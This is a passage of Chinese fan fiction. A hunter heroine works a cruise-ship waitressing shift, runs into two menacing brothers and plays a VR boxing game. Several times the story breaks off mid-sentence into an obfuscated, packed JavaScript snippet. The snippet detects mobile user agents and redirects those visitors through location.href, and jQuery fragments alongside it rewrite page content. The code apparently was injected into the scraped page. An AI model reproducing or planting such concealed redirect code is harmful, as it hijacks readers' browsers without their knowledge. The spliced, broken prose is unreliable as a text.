说着,还从身后拿出一个鼓鼓囊囊的蓝色小包递给我。 “这是昨晚葵姐和我听说你马上去伊豆了以后,帮你连夜整理出来的随身用品哦!去海边前一定要抹防晒霜,吃错东西时这里还有止泻药……” 我大概后面的一句也没听清,单纯是这个蓝色小包太令人感动。 无法压抑自己地飞扑向少糖,我下巴蹭蹭她毛茸茸的头顶:“绝对会给你们带很多很多伴手礼的!” 5. 我最后还是没有带帐篷,就收拾出了一小袋替换衣物装进小花幼稚园抽奖得来的行李箱,顺带一提,这箱子真是小得可爱。 临行前,老板丢给朝仓一串钥匙,又扭头问我身边的钱够不够用。 说到这里我就兴奋起来了:“老板老板,南云真是个好人啊!他给了我一大笔钱!” “?” “他说那是‘朋友费’!”我激动地上下比划着,“老板你拿到过多少啊?” 他沉默着重新坐下了,没再回答我,只是给朝仓信报出码头地址,让他开电动车送我过去。 我拿了一瓶能量饮料大摇大摆走出商店,自觉十分阔绰地向老板留言: “这就从我工资里扣吧!” 6. 我突然意识到朝仓信可能不知不觉中在闹别扭。 木头人一样的回话,胆怯于触碰的视线,还有就算我靠近也不会笑的陌生表情。 在等待绿灯的间隙,我在后座勾住他的两肩: “小后辈你的表情……这么离不开我呢?放心,只是离开一周,店里不会忙死你的!” “你瞎说!明明就坐在后面,哪里看得出来我在想你的事!” “又不光是现在,前辈我可一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见我肯定,他露出一副了然的神情:“上了船你直接往一层去,走那条路口摆了龟背竹的路,一直往前走,到了地方自然就知道做什么了。” 所以…… 是通往后厨和管理室? 一个后勤总管模样的女人正在厨房巡视,一看见我就皱着眉大步走来: “这个点……后山旅行社的?你赶紧把东西放好过来干活了!” 我愣在原地:“可我不是这儿的员工啊……” 女人的名牌上写着“上野直子”,她哑然失笑:“不然你以为自己怎么上的船?” 9. 我服了。 原来他们说的天无绝人之路,指的是让我以临时工的身份上船。 这还有天理吗? 算什么?算我付费上班? 10. 好在我并不讨厌工作。 努努力说不定还能把船票前赚回来,我穿上应侍服装这样想着。 16.本日船员小费王 1. 快速接受了我要在船上打工的事实,就会发现这份工作也很有意思。 至少我的制服还挺好看的。 站在镜子前,我从各个方位观察着这身装扮。 海军蓝的色调搭配乳白色内衬,显得端庄而不失亲切感,还有暗金色绣线在袖边绘有波浪形暗纹,增加了一丝别致的亮点。 领结也是方便佩戴的款式,唯独不甚适应的就是那身及膝A字裙。 尽管后面有开衩方便活动,但果然还是会给人造成拘束感。我做了几个深蹲和压腿的动作,测试了这身装扮的可动性,最终还是叹了口气。 工作嘛,有困难就得尽力克服一下。 2. 我的岗位是临时的“助理服务生”,虽然有这么个名号,但实际上应该就是个到处跑腿的工作,不过比我之前的跑腿任务轻松多了。 只是搬运食材、点单上菜、调解现场、餐桌清理这种职责,想必不会有什么问题。 更何况上野主管还说今天晚上有一个大公司的高级宴会,来的都是些身份不简单的大人物。 我从电视上看到,这些人为了保持风度,基本对菜色都保持着浅尝辄止的态度,仿佛都患上了『总裁的不治之症——胃病』说不定我还能零元购他们剩下的食物。 游轮在不久前就已驶出码头,到明天中午抵达伊豆为止都不会再有上下客,我跑去值班室看了一眼排班表,然后又看了一眼以防我看错了。 但再怎么看我都没看错,我的工作时间是从半小时后到我下船的一小时前。 可真显然是把我这个日结工的用处发挥到了极致。 写作其他员工和我『调班』,实则读作『压榨』。 好一个杰出的用人策略! 2. 老板你可千万不要向他们学习啊! 3. 这样算下来,我总共也只有一个半小时的时间作为观光客去呼吸甲板上的新鲜空气。 虽然那帮人用期待的眼神看着我,仿佛这样就能让我乖乖地自觉去加班,但我还是溜了出去。 拒绝道德绑架从我做起。 4. 这艘“萨密普萨”号游轮共六层,一二层是餐厅及大片公共区域,三层是普通客房,四层布满了娱乐设施和多功能房间,五层往上则是甲板的延伸空间和海景房。 鉴于之后的工作范围基本在一二层,我果断选择了先来甲板上看海。 我不是一个善于从自然景色中感怀的人,面对一望无际的大海,只是觉得此时吹着海风的我,应该有一只福木兔在头顶徘徊歌唱。 在埃尔迦德的那段日子就是如此。 王国的骑士们总是把没空做的任务丢给我,仿佛对待小孩子一样,每次都给我一个炎火村没有的新奇玩意儿就想把我打发。 于是日子一久,我和水手艾露猫科隆也打成了一片,上船出任务时,他总是为我准备好专用的躺椅和毛毯,有时我就这样什么也不想地躺着,有时也会站在桅杆下俯瞰这片海域,试探性地思索我是否也会有栽在任务上而再也回不来的那一天。 三年已经过去了,记忆中海风的味道也会慢慢模糊,那是否也像现在这样,咸湿中带着一丝…… 谁点了香烟? 我转头怒目而视,正好与一个瘦高的男人对上视线,他嘴里叼着一支烟,显然气味就是从他那里发出的。 不是吸烟区的任何一平方米都属于禁烟区,懂不懂啊! 5. 男人戴了一副墨镜,即便如此还是依稀可见其中透出的傲慢目光。他身边跟着两个保镖模样的壮汉,怀里还依偎着一名看上去弱不禁风的女子。 “喂,那边那个waiter,就是你!快e here!”他朝我勾了勾手指,“我的小baby站累了,快去找个座位来!” ? 谁理你。 何况我还没到上班时间。 6. 然后“滋啦”一声,我胸前口袋里的迷你对讲机传来主管的声音: “喂喂喂,百龙夜子,呼叫百龙夜子,半小时到了快点回归工作岗位!” 7. …… 我掐出一个笑脸快步走上前去。 “这位先生,那边就是休息区,有躺椅可以坐哦~” “啧!”男人愤怒地取下墨镜,“听不懂我的mean吗,我说我要在这儿sit down你没长耳朵吗!?” “那您的意思是想把躺椅搬过来?” 他鼻子出气,重重“嗯”了一声。 我恨铁不成钢地点点他身后两个大块头:“让老板不满意,是你们保镖最大的失职啊!还不快去搬!” 二人近乎同步地一左一右震惊歪嘴:“是!”然后立刻转身想走。 “慢着!”男人扯了一嗓子,“你们两个脑残,别人说什么就是什么啊!我才是你们老板!” “你,我说的是你!去给我搬过来!” “抱歉啊先生,那边的躺椅是用铁链固定在甲板上的,不允许挪动的呢~” 他似乎有些恼羞成怒了,重重一脚想踢在我膝盖上,可惜没够到。 “小小waiter也敢和我对着干!?是不是嫌饭碗拿太稳了?今天我还非让你搬过来不可了!” 我犹豫了一下:“那好吧,可以,但那是另外的价钱。先生你能接受吗?” “瞧不起我?觉得我没钱?呵呵,money这种东西,我可有的是!” 8. 那就没事了。 9. 得到他的承诺后,我飞速跑去不远处,把一张躺椅抬起来,然后捏断了固定用的铁链,直接扛在肩上端到他面前。 “先生,您的躺椅来了!” 仅仅一分钟,他的脸色就从红变得更红,气冲冲地对我指指点点:“就一张怎么坐两个人?再去搬一张!” 我也向他比了一个“money”的手势,他神色一僵,从怀里掏出来一沓支票,每个毛孔都在说“老子有的是钱”。 行吧,那也没办法。 总之,我来来回回又给他端来了一把躺椅、一座遮阳伞、徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066690|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手拆掉了两张躺椅中间的扶手将其合二为一、端了几盆景观树给他制造优美的环境。 10. 这个事儿哥终于哑口无言了。 我微笑着向他鞠了个躬:“先生,请问按照您的身价,这些服务你准备给我多少钱呢?” 他的五官拧做一团,闭着眼随手就是写下一串天文数字,随即动作熟练地署上了名,试探性发问。 “你要不要考虑跳槽当我保镖?” 我只好说很遗憾我是临时工,是那种已经有正经工作的人了。 11. 回到一层,这里正常人的气氛比较浓烈,我简直爱死这个工作环境了! 刚拿起笔和点单夹,上野主管就鬼魅般悄无声息地出现在我身后: “刚干嘛去了?这儿哪儿都找不到你,你是想怎样?” 我只好如实说明了情况,当然也省略了一些不必要说的情节。 “哦,甲板上那位先生的名字叫……”我拿出支票仔细查看,“叫岩永东彦。” 主管顿时面色不虞,也没有再追问下去,只说了一句“你辛苦了”就匆匆离去。 其实也不辛苦,而且还有充裕的服务费拿。 12. 餐厅正是茶歇时间,由于夜里还要举行某个暂时保密的高级宴会,这里今天只营业到两点半就要清场,开始准备活动的装饰布置了。 所以目前待在这儿的人也不算特别多,工作量算是清闲,只是游轮很大,显得跑动路径格外漫长。 上完一桌贵妇人的美容养颜茶点,身后一桌就传来一个低沉的男声: “百龙小姐,这里点单。” “好的!马上来!” 13. 宽阔的圆台沙发上只坐着两个白发的男人,气场上却让我感觉到像是被很多双眼睛久久凝视着。 “你好,请问需要来点什么?” 一身白衣的男人无言地翻动着菜单指出:“一份男孩款儿童套餐,还有一份冷焙桂花茶。” “对了,别忘了拿儿童套餐送的玩具。” 一旁的黑衣男抱着头懒洋洋躺在沙发里,只是红色的眼尾格外令人注目。他不说话,我却感觉得到他的视线一直慢悠悠跟着我转。 14. “好嘞,马上给您下单!” 我收起笔:“但是你咋知道我名字的?” 他指了指,我这才低头看到别在左胸前的名牌,亚克力的透明板上贴着打印出的字条“百龙 夜子”。 “你视力真好!”我高兴地夸道,一般人都不会注意到服务员究竟是谁的,这个顾客却让我的工作很有成就感。 我接着说道:“不过下次您叫我的时候,我更喜欢大家叫我夜子!” 我飞快地跑去后厨递交了菜单,实在忍不住又跑了回来。 “抱歉啊我可能有点儿高兴得没边了,但是……我也想知道你的名字!” 他双手交叉撑着下巴,低低地笑了声:“那么,按你的说法,我是憬。” “就叫我‘憬’吧,夜子,请多指教。” 17.工作以外的事概不负责 1. 虽然餐厅里客人渐渐稀疏起来,但我也没闲着。 不知道为什么,就算是距离很远的顾客,也都要招手让我过去点单或者加餐。明明他们身旁有着更靠近的同事们来着。 不过这样也好,只是在餐厅里跑跑,小费就能拿到手软。 …… 而那种异样的被凝视的感觉依旧没有消失。 下意识向憬的那桌看过去时,他只是在安安静静看书,银白色低垂的发丝近乎透明,遮盖住他双眸;另一人也闭目养神,似乎完全不曾有对外界的兴趣。 2. 那股视线如此怪异又令我熟悉。 熟悉中甚至让我产生了一种自信和安全感。 3. 虎丸当时对我说,我如果一直保持原样,不向他人迈出一步的话,“朋友”在某种意义上会是一件很遥远的事情。 这句话看起来似乎与我搭不上边,毕竟我的朋友多到数不过来。 可仔细一想,朋友们都天生就是很好的人,他们对我的好,我全盘照收,并且还以『守护』之名产生了深深的依赖。 与其说是好友,不如该说是我本人才像龙一样,固执地守护、占据,为此疯狂地警惕危险、回报大家的友善。 无论是昨日在居酒屋的交流,或醉酒后潜意识里毫无边界感地缠上了南云,还是刚刚与憬的相识,都出自“主动做那个先一步释放友善的一方”的心理暗示。 ……那、这样就对了吗? 不管怎么想,我都觉得奇怪,朋友真的是我想的这么一回事吗? 4. 不过最怪的还数我现在竟然会因为这种事而苦闷。 明明之前完全没思考过的。 5. 呼气。 工作的时候,理应抛却杂念。 托盘上放着大杯现调可尔必思,折射着菱形花纹的玻璃杯上插着一片柠檬,色彩和旁边配套的一盘芒果冰激凌球配脆薯饼相得益彰。 只不过,冷焙桂花茶的香气却有着盖过儿童套餐的存在感,直直窜进我的鼻腔。 憬和旁边那位,到底是哪个爱吃儿童套餐?我不由得暗自揣测。 6. “阿乐,别睡了。” 憬把可尔必思端到那人面前,自己先拿了块薯饼蘸着冰激凌吃。 “网上说这样搭配会很好吃……嗯、恐怕不见得呢。”他把剩下的金黄色薯饼一口吞了下去。 是意料之外的分餐。 看起来他们的关系很好,属于一份套餐可以拆开了吃的那种好哥们。 我左手将托盘抱在胸前,右手指间夹着四个小纸盒递到他们面前: “这是儿童套餐附赠的小玩具,你们想要选哪个呢?” 纸盒正面印刷着对应玩具的彩图,照理说这些都应该是随机赠送,不过主管不在,我想要创造一些意外也不会怎样。 很难想象,游轮老板为套餐选择的玩具居然会是交通工具套装:红色跑车、黑色摩托、白色飞机、蓝色自行车。 ……地上跑的,天上飞的,都不如我这海里游的。是这意思吗? 7. 憬从我手中接过纸盒细细查看,未作评论就塞给一旁的乐:“阿乐,你拿一个吧。” 他嘀嘀咕咕说着些类似“我已经不是小孩了”的话语,一边伸手拿走了装有摩托车的那一盒,当即就拆开包装取了出来。 这不还是小孩嘛。 憬慢悠悠端起茶杯轻抿一口,抬眼看向我露出一个不清不楚的微笑。 “我还以为会是再大些的,没想到只是一个小挂件。” 我沉默了下:“要不再送你一个?并在一起能看起来大些。” “这倒是不用……”他转头看向边吃边摆弄着摩托车挂件的乐,“说起来,还没向你介绍,这是我的弟弟,乐。” 我有些不明所以,但还是点了点头说你好。 “阿乐,你该打个招呼。” 或许是有兄长的身份在,憬的语气淡淡的,却自然带着一丝威压,叫做『乐』的少年闻言不情不愿地抬头,酒红色眼尾盛放着明显的敌意。 他说了下自己的名字就草草了事,一副不问世事的样子,唯独对我有着来路不明的反感吗。 8. 我没想到憬会叫住我,谈起方才在甲板上的事。 “其实我刚刚凑巧也在甲板上透气,看到你好像被一个看起来很不好惹的男人缠上了,不要紧吗?” “没事没事,只是替客人解决小小困难不足挂齿!” “不过,夜子小姐你身手这么厉害,却只是在这里当服务生,总觉得很可惜。” “服务生只是兼职,其实我的主业是便利店店员来着。” 我摊摊手解释道,心里其实对憬话里话外的夸奖感到由衷的舒爽,总想要再聊聊,可惜对讲机又传来通讯: “五分钟内来值班室开会。”重复了三遍。 “我得走了。”怀着些许遗憾,我收拾了下心情向二人告别。 “好,下次见。”憬只是给我简单回应便向旁边嘱咐一句,“阿乐,差不多到时间了,我们也准备走吧。” 只是这样吗? 特地放慢了离开的脚步,我还期待着憬是否能想起来他忘了一件事情,结果等我走出餐厅都没能等到。 9. 明明聊了这么久了,为什么还不给我小费!? 不满意薯饼蘸冰激凌的味道那也是你自己选的啊,但是为什么不给我小费! 难道说打好关系只不过是不想给小费的前置操作? 恼也恼也。 10. 值班室聚集了一众船员,大家都在窃窃私语,不知道主管要给什么指示。 有消息快的已经在传了,但仔细一听才发现,原来只是在分享船上某公司社长被社长夫人捉奸抵死不认,结果反被夫人一把掀开假发露出光秃秃的头顶这种八卦。 上野主管进门咳嗽一声,室内立刻恢复了安静。 “相信大家也有所了解,我们这次的乘客都是受邀参加今晚宴会的贵客,而今天的大头戏正是即将召开的晚会。” “包下这趟航班的正是最近炙手可热的新兴公司艾路科技,晚会上他们会展示最新的前沿vr技术,据说还有一项暂且保密的大活动。” “所以我要说的就是,等餐厅清场后,你们各自按照我待会分的组去做场地准备。” “以及最重要的一点,晚会上我们作为工作人员必须穿戴他们公司提供的全套设备,客人们戴了vr眼镜过后看到的我们就会变得一模一样,所以安分点,扮演好合格的npc,出了问题大家都要扣工资知道吗!” “是!”大家一下子都立正了。 我平生最讨厌听这种一口气不带歇的讲话,除了最后一句不穿设备扣工资,都达成了一个良好的左耳进右耳出的效果。 而且也没有被分到那个听起来就很难的保密小组去,我只需要在大厅当装饰品的流水线女工就可以了。 11. 与这些同事大多是第一次见面,不过作为打工人的合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084172|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格素养让我们的流水线进行得格外有默契。 一个按照甲方给出的图纸指挥,一个放置并固定,还有我端着一纸箱高科技产品跟着二人走,她们要啥我递啥。 这种不用思考的工作简直是为我量身定做的。 直到我的通讯频道里传来主管的命令: “兼职的,后厨面粉不够用了,你去仓库搬两袋。” 12. ……二位同事,不要把那种命很苦的眼神施舍给我啊! 13. 仓库在楼下一层差不多角落的位置,我去值班室拿了钥匙开门,很快就打开仓库翻出来两袋面粉,再上楼送个面粉想必很快就能回到大厅继续流水线。 仓库里灰扑扑的,让人感觉呼吸都有些沉重,尤其是那一堆麻袋装着的面粉,更是一动就有粉尘飞舞起来。幸好我身上没有沾到。 两臂一边扛了一袋面粉走出仓库,轻轻一脚带上房门,我决定还是走楼梯上楼去。 虽然这个时间点已经清了场,客人们应该没有几个在外面闲逛,但也不能排除例外。所以我还是放弃了坐电梯的念头,担心面粉或许会弄脏客人的衣服。 楼梯间空气冰凉,和外面有着很大的体感温差,我深深吸了一口气,却意外地嗅到一丝淡淡的血腥味。 而且是人类的血液。 我心下一紧,赶紧加快脚步上楼,没想到却在楼梯的平台上见到了一张意想不到的脸。 “是你?” “是你啊……” 我们两个同时说道,语气里各有各的不安。 14. 岩永东彦——就是甲板上那个刁钻乘客——喘着粗气蜷缩在角落,不菲的西装上溅上了不规则血迹,显然那不是属于他自己的血液。 我尽力保持着良好的服务意识:“这位客人好巧呀,请问您是想去洗衣房迷路了吗?” “神经病啊!”他撇嘴骂了一句,但一想到如今的处境便迅速闭上了嘴,又或许是我扛着两袋面粉的身影太过伟岸。他眼珠子骨碌转了圈,我就预感到他没安好心。 “你不是兼职的临时工吗?那我雇你当我的兼职保镖怎么样?钱不是问题!” “你不是有两个保镖吗?不要太贪得无厌了这位客人。” “死了!都死了!!”他情绪突然变得激动。 所以他身上的血是他保镖的。 我投去不解的目光:“所以,你也想让我当你保镖然后去死吗?” “……虽然我绝对死不了就是了。不过就算这样我也不想当你的保镖,因为我不喜欢你而且现在我有足够花的钱了。” 男人坚持着“金钱万能论”坚信我不答应他只是因为钱不到位,自顾自拉着我据理力争着给报酬加倍又加倍。 ……放在平时我可能真的会心动吧,可惜现在我忙着去送货,没办法再接一个工作。 他的目光灰暗下去几乎满是绝望,扯着我的时候牵动了肩头的面粉飞扬,他抓狂着挠起自己的脸,重重地咳嗽起来。 嘴里呢喃着破碎的字词,“恶魔”,“变态”,“不要杀……”,诸如此类,不禁让我怀疑他是不是遇上什么邪教组织了。 15. 但毕竟是我的面粉让乘客不适地咳嗽起来,我也有1%的责任吧。 刚想扶他起来,上空就传来一串铿锵有力的脚步声,回音在阴冷的空间内撞击着墙壁,幽幽地回荡。 “终于找到了……” “早知道还是得好好看地图。” 我和岩永的面前降下一片阴影。 18.怪物 1. 和阴影一同落下的,是顿时凝固的空气气场。 未见其人时,气流就已经夹杂着铁锈味扑面而来,望向前去,有更深重的一抹血红闯入视线。 不是鲜血,是乐的红色眼影。 然而,头顶那串脚步声还在敲击着战栗的旋律,伴随着来人低哑的嗓音: “阿乐,那个时候不是已经让你待在餐厅里认路了吗。” “不会又在偷懒睡觉了吧。” 2. 不得了。 不得了不得了。 偏偏又是这个时候再次见面了。我抖了抖肩膀,让两袋面粉晃回更方便扛着的位置,抿唇和乐对视上目光: “嗨?你也迷路了吗?” 心里却焦急万分:那个在慢悠悠走下来的人是憬吧?能不能提提速不要装×了,你的弟弟看起来很不待见我啊! 乐眨了眨眼睛,转头平静地向上通报:“……这里还有一个你想要的人。” 我:“?” 3. 现在的阵型是这样的: 楼梯平台上,岩永东彦哆哆嗦嗦靠在墙边,我站在他前面,微微侧身下意识遮挡了一下;乐在几节楼梯之上俯视着我们,巨大的铁棒横在脑后。 而他哥哥终于下完楼了。 逆着光,我看不清他的神色,只觉得他和一小时之前的模样完全不同,竟说不上来是楼梯间的空气抑或是他的体温更加冰冷。 然而又来了,那种奇怪的安心感。 我沉声道:“憬…你们不会是……” “要在船上聚众斗殴吧!乘客管理条例上是不允许的你知道吗?” “也不算斗殴吧,毕竟斗殴也得双方斗得起来。”他思考了半晌,给出一个略为鬼畜的回答。 “我和乐,只不过想和他做个交易。” “那为什么要把他保镖杀了?” 乐倒是把那根像极了不良少年用的铁棒放下了,难得幽幽地插了句嘴:“他先叫那两个人攻过来的。” “那就是防卫过当啊……”我想不出有什么调解双方的办法,“不过你们要是需要商业会谈的话我可以帮你们申请一间会议室,只要你们别再打架。” “或许不需要了。”他笑了笑,恢复那种阳光下淡淡的样子,“夜子,我们不久前杀了两个人。” 我说:“然后呢?” “……” “然后,你能什么都不想,真是太好了。” 4. 倒也不是什么都没想,比如事故现场清扫工作。 不过,毕竟我只是个兼职的,只要装作不知道,这活就落不到我头上。 5. 总感觉这两兄弟麻烦得很,和憬说话费脑子,和乐说话费心态。 但是我出奇地并不讨厌他们? 肩膀上的重量让我的思绪回归现实,低头看了一眼又瘫坐到地上的岩永东彦,我默不作声地走开了。 “还有工作,我先走了。” “好,待会儿的晚会,我可以请你一起逛逛吗?” 我还是愣了下。 先不提我将一直持续工作,光是服务生工作规定就让这个邀约的可行性降至1%。 “那可能有点困难——到时候你们戴着vr眼镜看到的我们服务生都是一模一样的。” “我会找到你的。” 憬那双冰蓝色的眼眸紧紧锁定着我,即便只是一瞬,但我也猛地从这诡异的非人感中提炼出了那种熟悉感的来源。 6. 当我还在家乡的辽阔大陆上骑着牙猎犬自由地驰骋,接下探索任务只是想看看风景拍拍照的时候,时常会路过一些大型怪物。 无意惊扰他们,我总是贴着墙降低存在感快速略过,可事情通常都不能顺遂我意地发展。 在离开的过程中,我能感觉到危险的气流在身后不远处打着转儿,那种黏稠的像是泛着红光的视线死死粘在我身上,令人浑身警铃大作。 那种感觉,憬与乐也曾偶然对我流露出来,就像刚刚对我说“我会找到你”时他一个音节一个音节蹦出来的节拍。 怪物们在彻底发现我之后,他们会狂怒、会吼叫,然后追着我发动攻击。 很久以前,村里的猎人前辈在带我外出打猎时就告诉我,那是怪物们示威、宣示领地主权的行为,而之所以会觉得那叫声吵闹,只不过因为我们更强。 7. 吼叫并不能带来什么具体的好处,只能为他们招致杀身之祸。 既然想开打,那么必定只有死路一条。 憬,若是这样,你的目光背后,又藏着怎样的意图呢? ……不对,我怎么能将人和怪物混为一谈?何况他对我还挺好的。 话又说回来,如果是怪物倒还简单点呢,我只需要讨伐就够了。 8. 当我重新回到大厅的流水线时,工作已经接近尾声。接过快要变空的大纸箱,我和两位同事有一搭没一搭地聊着天。 “你猜那个vr技术会把我们变成什么造型啊?” “不知道——诶那个桌子往左边再挪一点——有这么牛的技术吗,我怀疑该不会只是把我们变成mc史蒂夫那种方块人的级别吧?” 我顿了顿:“至少得是人吧?” 虽然看不到,但其实我也很好奇所谓的vr技术与全息投影,明明房间里只有光秃秃的机器,人们通过一副眼镜却能看见别有洞天的世界,这简直太神奇了。 科技的力量宏大到令我难以想象,曾经埃尔迦德的加雷亚斯提督暗中与研究员巴哈里借用炎火村科技,一同研制出了新型船以应对深渊恶魔,击龙枪中迸发的强大火焰令我心跳不已。 然而到了这边的世界,我却发现有更胜一筹的“核打击”力量,就威力而言实在令人震撼。 这个高深莫测的虚拟技术,对我来说可能已经不止“科技”,称之为某种“魔幻”更为恰当。 9. 夕阳逐渐降下海平面的那端,天边有橙红色的海水和浮云,波浪色彩瑰丽变化莫测,我耳边夹杂着逐渐嘈杂起来的人声,海鸟的鸣啼渐渐远去。 晚宴服装又换了一身,目前这身工作服采用最基础的设计:纯白宫廷领衬衫,深黑色直筒西装裤,同样黑色的马甲里摸起来遍布硬邦邦的芯片。 当然最引人注目的还数头上这副头盔,半包围式设计的盔形出奇地与我的头部弧线紧密贴合,装载着的耳麦里传来主管一条条调动命令,听得出来大家都很忙碌。 我所在的岗位是展区内的水吧吧台,大大小小的玻璃杯里装调着各式软饮和果汁,有着在坂本商店工作的经验,我的出餐速度很快,丝毫不输船上的常驻服务员。 这也让我有了空闲去观察其他来往乘客。 正如主管所说,参加晚会的看起来都是上流人士,他们穿着高档礼服,身上佩戴的都是闪亮的昂贵首饰或是名表,或是高谈阔论,或是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以,你们来找我是有什么事吗?”我将手上的水珠擦拭在围裙上。 “果汁不错。”憬抿唇,“我们把该做的做完了,所以现在正无事可做。” “来找你,只是因为想找你。” “可是晚会还没开始多久吧,我们好不容易布置好的,你们全都看完了?” “并不。”他顿了顿,“既然这样,夜子小姐可以陪我们继续逛下去吗?” “诶?我还要……” 同事却一副“我懂我懂”“恭喜祝福”的表情摆摆手让我离开:“没事,反正这个水吧也没什么人来。” 即便这样,我还是为自己找了个合理的理由:有两位客人迷路了需要我带路。 11. 说是陪他们逛展区,实际上没有眼镜的话,我相当于一个盲人。 不对,应该是说开了透视眼才对吧,毕竟我排除了全息投影的外表,直接能看到机器的骨骼。 其实憬也没有戴上他的眼镜,让我更加不明白这个“一起逛展会”到底有什么必要,只有乐难以掩藏那种遇到新奇事物的好奇,虽然他不说,但是我感觉到他什么东西都想去碰一碰。 “你对这个展会不感兴趣吗?” 憬的视线十分平静:“我对vr技术是很感兴趣,也阅读过一些相关书籍。只不过,这场晚会上所展示的技术,在我看来却有一丝违和与超现实。” “直觉上感觉到艾路公司的技术,不过是镜花水月。” “那你看到的我是什么样子的?” “很可爱。” “……不过你或许想要亲自看看。”他下意识伸手拂去并不存在的灰尘,将他那副眼镜正对在我眼前,“如果你不介意,就让我帮你戴上吧。” 19.绝不会按照你的游戏规则 1. 憬说想要帮我戴眼镜。 不过首先得把头盔取下来,否则我的头上根本无法同时放下两团铁坨子。 半是生拉硬拽,只闻“咔”地一声,我把头盔扯了下来,直接向前一步直直将脑袋放进了憬手中的眼镜。 他的手指擦过我耳朵,有些痒痒的。 大概是还未启动的缘故,我眼前暂时还是漆黑一片,而且设备没能一下对准,感觉眼镜歪斜地靠在鼻梁上,一时间有些失衡感。 我只好单手搭上耳侧,从憬扶着眼镜的手那里开始摸索着将其摆正,而他也默契地帮我固定脑后搭扣。 “谢谢你。”我最后调整了下,“你手好冷,刚刚不应该给你做冷的果汁的。” “我原本就是这样的温度,不用担心。”说着又轻轻托起我的下巴,应该是为了固定住我的脑袋,方便操作开机。 视野正中闪出一道蓝光,外界的光线慢慢渗进视网膜,我仍看不太清晰,等待着眼前的线条堆砌成形。 2. 不远处轰然爆发出一阵激动的喝彩,模糊的、但仍然鹤立鸡群的白发少年背对着我和憬的方向,四周围着熙熙攘攘的人群,那些人神采奕奕不知道在说些什么。 这副vr眼镜使得我的各项感官似乎都有一定程度的干扰啊!原本我绝对听得到那个距离的对话吧! 可能暗自有些不甘,我加快脚步走了过去——屈辱地挽着憬的手臂,因为刚刚起步的时候差点崴了脚摔下去。 “小哥你好牛哇!这个数据,绝对要创造全日、不,说不定是全世界的纪录了吧!” “这位小哥,是不是专业的拳击手啊?” “哇!你看他的拳头……身材……好帅……” 乐并未为其所动,只是摩挲着绑满绷带的拳头盯住眼前那台机器。 我顺着他的目光看过去,只见几对沙包大的拳头正在空中洋洋得意地挥舞。尽管只有拳头,不见人形,但我还是从这些拳头中读出了一种近似轻蔑的神情。 直到虚空中跳出一串金光闪闪的数字:999,998,169! 乐瞥了眼顶端“破纪录”几个大字,满意地舔舔嘴唇,用那种挑衅的目光睨着空中的拳头,这行为格外幼稚。 3. 憬向他招了招手。 他扭头看过来,眼神在我挽着憬的手臂上转了圈,随即又不屑地挪开了。 “你怎么突然跑走了,也不说一声。” “然后跟着你俩看你和她这样那样?”乐低声回嘴。 “那是我的分数。” 他手指着空中的数字,后又想起憬把自己的眼镜给了我,目前什么都看不到,于是着重念了遍那串长长的数字,分给我一个不明所以的眼神: “她能行吗?” 4. 诶?我吗? 这个体验设备的设计,本质是台拳击机,直观地看来,玩家需要以精妙的身法躲开四面八方同时袭来的拳头,最后一击击中随机出现的红心。 而游戏的最终得分正是综合了闪避能力和最终一击的力量结果。显然乐这个接近封顶的分数象征着他拥有格外优异的身体能力。 我看他一身宽大黑色皮夹克和工装裤包裹住全身,外表不显山不露水,可实际上却很有爆发力吗? 目光一寸一寸攀上并无法直接看见的肌肉,我眨眨眼: “我也可以玩吗?” 5. 探测器安装在特殊的露指手套和小腿上绑着的索带,我松开扶着憬的手,活动了一下身体,抬头又看见悬在高空中作准备状态的那几对态度恶劣的拳头。 都从事服务业了,就不能给点好脸色吗?真够不敬业的! 乐环臂站在憬身侧,满不在乎地看着我研读游戏规则。 我回身向他确认:“乐,你也会给我加油的吧?” 他怔然向一旁的憬看去,希望得到解答,不过憬只是朝我点头鼓励,嘴角微微上扬。 眼神一明一暗间,乐撇撇嘴:“哦,哦……给你加油。” 6. 眼前三秒倒计时闪动我进入准备状态,游戏开始。 那几对拳头就像疯了一样,不要命地朝我袭来,说是毫无章法却又能隐隐约约感受到一丝和谐,而且拳头之间竟从来没有发生过碰撞,甚至可以称之为“默契”。 说实话,我有点晕。要躲过攻击并非难事,对我而言,现在最有难度的挑战是在躲过每一波攻击后关注最后一击的红心有可能出现在哪儿,并留出足够的蓄力身位进行反击。 这思考量对我而言实在有些大。因此,当空中出现红光时,我并未及时反应过来,击出拳头的方向和身体的惯性互相拉扯着,还没碰到目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 